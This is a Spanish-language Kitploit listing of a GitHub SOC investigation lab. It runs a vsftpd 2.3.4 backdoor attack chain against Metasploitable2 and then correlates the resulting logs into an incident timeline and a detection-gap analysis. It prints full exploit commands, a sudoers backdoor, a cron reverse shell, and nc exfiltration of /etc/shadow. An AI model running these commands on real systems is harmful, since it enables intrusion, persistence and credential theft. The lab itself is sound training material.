Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
soc-investigation-lab — Investigación SOC de extremo a extremo: kill chain CVE-2011-2523, correlación de logs de múltiples fuentes, informe de incidente — MITRE ATT&CK T1190 | Kitploit
Herramientas/GitHubGitHub/mithileshan/soc-investigation-lab
ReconocimientoAnálisis de VulnerabilidadesExplotaciónAnálisis ForensePost-ExplotaciónPruebas de PenetraciónInteligencia de AmenazasAprendizaje y EducaciónRespuesta a Incidentes

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Análisis de Registros
Labs y Práctica
GitHubmithileshan/soc-investigation-lab

soc-investigation-lab

Investigación SOC de extremo a extremo: kill chain CVE-2011-2523, correlación de logs de múltiples fuentes, informe de incidente — MITRE ATT&CK T1190

Ver Repositorio
3hace 4 mesesAún no revisado
Compartir

Laboratorio de Investigación SOC de Extremo a Extremo

Ejecuta una cadena de ataque completa de cuatro fases (Reconocimiento → Explotación → Persistencia → Exfiltración) contra Metasploitable2, recopila evidencia en cada fase y produce una línea de tiempo de incidentes estructurada y un informe SOC — demostrando el pensamiento simultáneo de atacante y defensor.

MITRE ATT&CK T1190 MITRE ATT&CK T1136 MITRE ATT&CK T1078 MITRE ATT&CK T1041 Python


Objetivo

Este es el proyecto final. Demuestra la capacidad de:

  • Ejecutar una cadena de ataque (kill chain) realista contra un objetivo deliberadamente vulnerable
  • Recopilar evidencia forense en cada etapa utilizando múltiples fuentes de telemetría
  • Correlacionar entradas de registro de sistemas dispares en una línea de tiempo de incidentes unificada
  • Realizar un análisis de brechas de visibilidad — identificando lo que se habría sin una cobertura de detección adecuada
perdido
  • Producir un informe de incidentes de nivel SOC en el formato utilizado por los equipos de seguridad reales
  • El exploit utilizado (CVE-2011-2523 — puerta trasera de vsftpd 2.3.4) es históricamente significativo: fue un ataque a la cadena de suministro en el que un adversario inyectó una puerta trasera en el repositorio de código fuente del paquete de código abierto vsftpd.


    Arquitectura

    root@kitploit:~
                        ╔═══════════════════════════════╗
                        ║  soc-lab (172.23.0.0/24)       ║
                        ║                               ║
    ┌─────────────┐     ║  ┌─────────────────────────┐  ║
    │  Attacker   │     ║  │  Metasploitable2        │  ║
    │  Kali Linux │     ║  │  172.23.0.200           │  ║
    │             │     ║  │                         │  ║
    │  Phase 1    │─────╫─►│  :21  vsftpd 2.3.4 ◄───╫──╫── CVE-2011-2523
    │  nmap -A    │     ║  │  :22  SSH               │  ║    backdoor on :6200
    │             │     ║  │  :80  HTTP (DVWA)        │  ║
    │  Phase 2    │─────╫─►│  :445 Samba             │  ║
    │  msf exploit│◄────╫──│  :6200 root shell       │  ║
    │             │     ║  └─────────────────────────┘  ║
    │  Phase 3    │─────╫─► useradd sysbackup           ║
    │  persistence│─────╫─► crontab reverse shell       ║
    │             │     ║                               ║
    │  Phase 4    │◄────╫── /etc/shadow via nc :5555    ║
    │  exfiltration     ╚═══════════════════════════════╝
    └──────┬──────┘
           │
           │ Evidence collection:
           │  logs/msf_session.log
           │  logs/target_auth.log
           │  captures/full_attack_chain.pcap (tshark CSV)
           ▼
    ┌──────────────────────────────────────────────────┐
    │  build_timeline.py                               │
    │  Parser: MSF log + auth.log + tshark CSV         │
    │  → merge by timestamp → tag by phase             │
    │  → JSON timeline + Markdown incident report      │
    └──────────────────────────────────────────────────┘
    

    Herramientas y Stack

    HerramientaPropósito
    Metasploitable2Objetivo Linux deliberadamente vulnerable
    Nmap 7.94Fase 1: Enumeración de servicios
    Metasploit 6.xFase 2: Exploit de vsftpd 2.3.4
    NetcatFases 3–4: Persistencia + exfiltración
    tsharkCaptura de paquetes durante todas las fases
    Python 3build_timeline.py — fusionador de registros multi-fuente
    Splunk Free / ELKDetección SIEM específica por fase

    Configuración

    root@kitploit:~
    cd docker/
    
    # Start Metasploitable2 (isolated network)
    docker compose up -d metasploitable
    
    # Verify target is reachable
    nmap -p 21,22,80 172.23.0.200
    
    # Start background packet capture
    sudo tcpdump -i eth0 host 172.23.0.200 \
        -w captures/full_attack_chain.pcap &
    

    Cómo Ejecutar (Cadena de Ataque)

    Fase 1 — Reconocimiento

    root@kitploit:~
    nmap -sV -O -A \
        -p 21,22,80,139,445,3306,5432 \
        --script=banner,ftp-anon,http-title \
        -oX logs/recon_scan.xml \
        172.23.0.200
    

    Hallazgo clave: 21/tcp open ftp vsftpd 2.3.4

    Fase 2 — Explotación (CVE-2011-2523)

    root@kitploit:~
    # Method A: Metasploit
    msfconsole -q -x "
      use exploit/unix/ftp/vsftpd_234_backdoor;
      set RHOSTS 172.23.0.200;
      set PAYLOAD cmd/unix/interact;
      run" | tee logs/msf_session.log
    
    # Method B: Manual (demonstrates the mechanism)
    # Step 1: Trigger backdoor by sending username with ':)'
    printf "USER evil:)\r\nPASS x\r\n" | nc 172.23.0.200 21
    # Step 2: Connect to spawned root shell
    nc 172.23.0.200 6200
    # → id: uid=0(root) gid=0(root)
    

    Por qué funciona: Cuando vsftpd 2.3.4 recibe un nombre de usuario que contiene la subcadena :), el daemon ejecuta execl("/bin/sh",...) vinculado al puerto TCP 6200. No se requiere autenticación — shell root directa.

    Fase 3 — Persistencia

    root@kitploit:~
    # Execute in the root shell on target:
    useradd -m -s /bin/bash sysbackup
    echo "sysbackup:$(openssl passwd -1 secr3t)" >> /etc/passwd
    echo "sysbackup ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers
    (crontab -l 2>/dev/null; echo "* * * * * bash -i >& /dev/tcp/172.23.0.1/9999 0>&1") | crontab -
    

    Fase 4 — Exfiltración

    root@kitploit:~
    # Receiver (attacker)
    nc -lvnp 5555 > samples/exfiltrated_shadow.txt
    
    # Sender (on target)
    cat /etc/shadow | nc 172.23.0.1 5555
    

    Construir la línea de tiempo del incidente

    root@kitploit:~
    # Convert PCAP to CSV first
    bash ../02-network-recon-detection/src/pcap_to_siem.sh captures/full_attack_chain.pcap
    
    # Build timeline from all sources
    python3 src/build_timeline.py \
        --msf-log  logs/msf_session.log \
        --auth-log logs/target_auth.log \
        --pcap-csv captures/full_attack_chain_packets.csv \
        --output-json samples/timeline.json \
        --output-md   docs/incident_report.md \
        --pretty
    

    Salida de Ejemplo

    build_timeline.py stderr

    root@kitploit:~
    2026-04-24T16:05:20  [INFO    ]  Parsed 9 events from MSF log
    2026-04-24T16:05:20  [INFO    ]  Parsed 11 events from auth.log
    2026-04-24T16:05:20  [INFO    ]  Parsed 4 flow-initiation events from PCAP CSV
    2026-04-24T16:05:20  [INFO    ]  Total events (sorted): 24
    2026-04-24T16:05:20  [INFO    ]  Unique IOCs extracted: 4
    2026-04-24T16:05:20  [INFO    ]  Phase RECON   : 8 event(s)
    2026-04-24T16:05:20  [INFO    ]  Phase EXPLOIT : 4 event(s)
    2026-04-24T16:05:20  [INFO    ]  Phase PERSIST : 6 event(s)
    2026-04-24T16:05:20  [INFO    ]  Phase EXFIL   : 2 event(s)
    

    Línea de tiempo del incidente (extracto de samples/sample_timeline.json)

    root@kitploit:~
    {
      "total_events": 24,
      "iocs": [
        { "indicator": "172.23.0.1", "phase": "RECON",   "occurrence": 8 },
        { "indicator": "172.23.0.1", "phase": "EXPLOIT",  "occurrence": 2 },
        { "indicator": "sysbackup",  "phase": "PERSIST", "occurrence": 1 }
      ],
      "timeline": [
        { "timestamp": "2026-04-24T14:10:05+00:00", "phase": "RECON",   "description": "nmap -sV -O -A", "source": "metasploit" },
        { "timestamp": "2026-04-24T14:22:41+00:00", "phase": "EXPLOIT", "description": "session 1 opened (172.23.0.1 → 172.23.0.200)", "source": "metasploit" },
        { "timestamp": "2026-04-24T14:28:07+00:00", "phase": "PERSIST", "description": "useradd: new user: name=sysbackup", "source": "auth_log" },
        { "timestamp": "2026-04-24T14:35:52+00:00", "phase": "EXFIL",   "description": "flow 172.23.0.200 → 172.23.0.1:5555", "source": "pcap" }
      ]
    }
    

    Análisis de Brechas de Visibilidad

    Esta es la salida analítica más importante — lo que se habría perdido sin una detección adecuada.

    FaseEvidencia de Registro BrutaDetectado por Regla SIEMPerdido Sin Cobertura
    RECONPCAP: inundación SYN a 24 puertosRegla de barrido de puertos (>20 puertos/10s) ✓Escaneo lento (-T1): evita completamente el umbral de velocidad
    EXPLOITPCAP: nueva conexión a :6200 · Sin entrada en auth.logRegla de anomalía para el puerto :6200 ✓Si el atacante usara un exploit HTTP en :80 — sin anomalía de puerto
    PERSISTauth.log: new user: name=sysbackupAlerta de creación de nuevo usuario ✓Edición directa de /etc/passwd: cero registros sin auditd
    EXFILPCAP: 4 KB salientes en :5555Regla de puerto no estándar + tamaño ✓Exfiltración por DNS (registros TXT): evita completamente las reglas de volumen

    Hallazgo crítico: El exploit de vsftpd 2.3.4 no deja ninguna entrada en auth.log porque evita el subsistema de inicio de sesión. La única evidencia de registro es la conexión TCP posterior al puerto 6200 — invisible sin telemetría de red. Los registros de endpoints por sí solos no pueden detectar esta clase de ataque.


    Limitaciones y Trabajo Futuro

    LimitaciónImpactoMitigación
    vsftpd 2.3.4 es una vulnerabilidad de 2011No es representativa de exploits modernosAñadir EternalBlue (MS17-010) como escenario de exploit alternativo
    build_timeline.py utiliza clasificación por palabras claveClasifica erróneamente algunos eventosEntrenar un clasificador NLP ligero con datos de registro etiquetados
    Sin detección de endpoints (EDR)La persistencia a nivel de archivo (authorized_keys) no se capturaAñadir Wazuh o Elastic Agent en el objetivo
    Ejecución manual de la cadena de ataqueNo reproducible sin intervención interactivaAutomatizar las fases 2–4 con scripts de recursos de Metasploit

    Referencias

    ReferenciaID / Enlace
    CVE-2011-2523 — Puerta trasera de vsftpd 2.3.4https://nvd.nist.gov/vuln/detail/CVE-2011-2523
    MITRE ATT&CK — Explotación de aplicación expuesta públicamenteT1190
    MITRE ATT&CK — Crear cuenta: cuenta localT1136.001
    MITRE ATT&CK — Tarea/Job programado: CronT1053.003
    MITRE ATT&CK — Exfiltración a través del canal C2T1041
    MITRE ATT&CK — Cuentas válidasT1078

    Estructura del Proyecto

    root@kitploit:~
    04-soc-investigation/
    ├── src/
    │   ├── build_timeline.py      # Multi-source log merger + phase tagger
    │   └── run_attack_chain.sh    # Step-by-step attack chain with exact commands
    ├── configs/
    │   └── splunk_detection_rules.spl   # Phase-specific SPL queries (RECON/EXPLOIT/PERSIST/EXFIL)
    ├── samples/
    │   └── sample_timeline.json   # Example incident timeline JSON
    ├── docker/
    │   └── docker-compose.yml     # Metasploitable2 isolated target
    ├── docs/
    │   └── incident_report.md     # Generated SOC report (build_timeline.py --output-md)
    └── screenshots/
    
    Descargar herramienta